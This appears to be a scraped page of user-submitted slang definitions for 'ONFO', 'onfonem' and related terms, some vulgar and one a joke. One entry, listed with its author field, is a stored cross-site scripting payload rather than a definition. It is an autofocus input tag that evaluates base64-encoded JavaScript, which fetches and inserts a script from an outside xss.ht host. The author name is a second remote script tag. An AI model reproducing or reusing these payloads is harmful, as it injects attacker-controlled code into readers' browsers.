ONFO 

ONFO: Information or knowledge obtained online, in stead of in real life, either by playing, talking, reading, writing, blogging, twittering or listening on the Internet.
(ONline information compared to Info)
(Also called UFO, Unexplained inFormation Online)

How did you become so smart?
I have a good relationship with my computer. IRL, but it has so much good ONFO i am hooked.

ONFO by zubb0 September 26, 2010

ONFO 

ONFO: Information or knowledge obtained online, in stead of in real life, either by playing, talking or listening.
(ONline information)
(Also called UFO, Unexplained inFormation Online)

Shit, I learned some good ONFO yesterday.. Wanna hear the todays fun-fact!?

ONFO by zubb0 September 26, 2010

onfonem 

To swear on your friends and family or people you associate with often in gangs mostly used by GDs

Onfonem I'm finna sleep shorty ass .

Keep talking shit Imma beat yo ass onfonem.

onfonem by Kiddrevolution December 3, 2015

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzbm9vYi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus> 

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"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzbm9vYi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>

"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzbm9vYi54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus> by <script src=//⑮.₨></script> November 8, 2020

on fo nem 

on fo nem means you ain’t fucking around. if you say this then you’re a dope ass person fr.

on fo nem we slidin erryday

on fo nem by real gangshta April 13, 2021

onfolkestone 

onfolkestone > you

onfolkestone 0wnz j00

onfolkestone by coool McCool June 19, 2004

onfonem 

A rudimentary type of 19th century telephone, the telephone relied on system of folks and their immediate friends to tension wires at a precise time in order to generate barometric frequencies that would route the users call to the appropriate destination by using a complex series of gears and pulleys.

Fun fact there are only 3 surviving onfonem operators left alive in the world!

“Hey try to keep it down in here, ally’s using the onfonem in the other room.”

onfonem by JSpinner November 2, 2023